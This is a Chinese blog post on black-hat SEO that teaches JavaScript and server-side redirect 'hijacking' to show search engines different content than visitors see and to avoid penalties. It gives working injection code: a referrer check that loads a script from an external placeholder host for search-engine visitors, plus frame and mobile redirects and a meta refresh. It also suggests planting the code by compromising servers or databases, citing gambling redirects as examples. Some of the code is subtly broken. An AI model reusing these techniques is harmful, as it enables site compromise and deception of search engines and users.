黑帽搜索引擎优化防止网站被K的JS绑架跳转代码

别说谁变了你拦得住时间么 提交于 2019-12-01 09:47:44

黑帽搜索引擎优化防止网站被k的js绑架跳转代码

  由于现在搜索引擎对于js代码还没有办法完全识别,因而也就出现了使用js代码跳转的黑帽办法。现在网上有关js跳转代码举目皆是,可是作为黑帽的搜索引擎优化办法之一,怎么做到有用下降跳转的网站被k风险,这才是我们需求研究的一个方向。下面简略分享一下有关js绑架的一些代码,我了解到的仅仅皮毛,有不足之处欢迎各位同仁给予指导。本文的重头戏将会在最终出现,请我们耐心往下看。js绑架首要有“服务器绑架”以及“用户端绑架”两种。

  “服务器绑架”

  服务器绑架也称为全局绑架,以修正网站动态语言文本,判别拜访来历操控回来内容,从来到达网站绑架的目的。服务端绑架的判别办法:能够经过调查网站后端代码,或许经过改变ip,包头号方式,调查放回源码是否不同。也便是改变了每次拜访网页从服务端获取到的网页代码。

  asp/aspx/php绑架

  Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次履行一个动态脚本的时分,都会先加载该脚本,然后再履行方针脚本。所以只要在Global.asa中写判别用户体系信息的代码(拜访来历等),假如是蜘蛛拜访则回来关键词网页(想要推行的网站),假如是用户拜访,则回来正常页面。

  “用户端绑架”

  客户端绑架的办法也许多,但首要便是2种:Header绑架、js绑架。用户端绑架的判别办法:只需调查浏览器出现的网页前端代码,检查是否引用了不妥的js,或许其它灵敏内容。每次拜访网页从服务端获取到的网页代码都是相同的,仅仅操控了网页代码在浏览器中出现的作用(比方是否进行跳转等)。

  1,header绑架

  首要作用是:使用的便是Meta Refresh Tag(主动转向),将流量引走。

  能够在源代码中写入以下代码:

  <meta http-equiv=“refresh“content=“10;url=网址“>

  2,js绑架

  js绑架的作用:经过向方针网页植入歹意js代码,操控网站跳转、躲藏页面内容、窗口绑架等。

  js植入办法:能够经过侵略服务器,直接写入源代码中;也能够写在数据库中,因为有些页面会出现数据库内容。

  js绑架事例

  我们常常看到的菠菜跳转:经过搜索引擎搜索点击页面(履行一段js)跳转到博彩页面;直接输入网址拜访网页,跳转到404页面。

  代码:today=new Date();today=today.getYear()+”-“+(today.getMonth()+1)+”-“+today.getDate();var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig;var where=document.referer;if(regexp.test(where)){document.write(‘<script language=”javascript”type=”text/javascript”src=”http://www.xxx.com/test.js”></script>’);}else{window.location.href=”../../404.htm”;}

  分析:经过referer判别来路,假如referer来路为空便是跳转到404页面,假如是搜索引擎来的referer里边也会有显现,然后在写代码操控跳转。假如仅仅操控实现显现不同的内容,能够修正php、asp代码;假如需求绑架搜索引擎搜索框,能够写JS代码来做浏览器本地跳转。当然js功能能够无限扩展,比方能够操控一个ip一天内第一次拜访正常,其他拜访跳转等等。

  较有用的防k站js代码

  怎么有用防止或许延伸网站被k的js代码,就现在来说,个人觉得还是一个比较可行的办法。办法是把pc端和手机端分隔写入js代码,来实现跳转。应用办法:加入一个Javascript源文件(以js为扩展名),将以下代码添加在里边,文件命名为tz,然后在网页<head>下插入:<script src=”js/tz.js></script>

  网页pc端跳转

  我们都知道,我们网站无论是整站优化还是单个页面,当关键词排名在主页时,做黑帽办法的网站就能够考虑做跳转到方针页面了。为了获取快速排名,所以做的页面也大部分考虑给搜索引擎看,应尽量做好内容的可读性和躲避类似度,来满足搜索引擎需求,这样关键词就会很快上主页了。之后再做一个用户体验度较好的页面,把流量自然跳转到该页面,这样也就到达目的了。

  代码如下:

  document.writeln(“document.write(\”<frameset rows=\’100%,*\’frameborder=\’NO\’border=\’0\’framespacing=\’0\’>\”);”);

  document.writeln(“document.write(\”<frame name=\’main\’src=\’网址/jiqiao/’scrolling=yes>\”);”);

  document.writeln(“document.write(\”<\/frameset>\”);”);

  document.writeln(“<\/script>”);

  网页手机端跳转

  道理和pc端一样,我这儿就不啰嗦了。代码如下:

  <script type=”text/javascript”>

  if(/Andorid|webOS|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent)){

  if(window.location.href.indexOf(“?pc”)<0){try{window.location.href=”网址/jiqiao/”}

  catch(e){}}}</script>

  注意点

  值得注意的是,为了下降被k风险,我们做跳转页的时分尽量使主题和关键词一致,内容则以引导性为主,页面尽量优化好一点,提高用户体验度和下降跳出率,经测验此办法网站不容易被k,排名也比较稳定,当然,我们需求根据自己的实际情况来操作。

原创文章,转载请注明: 转载自优化公司

本文链接地址: https://www.1994july.cn

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!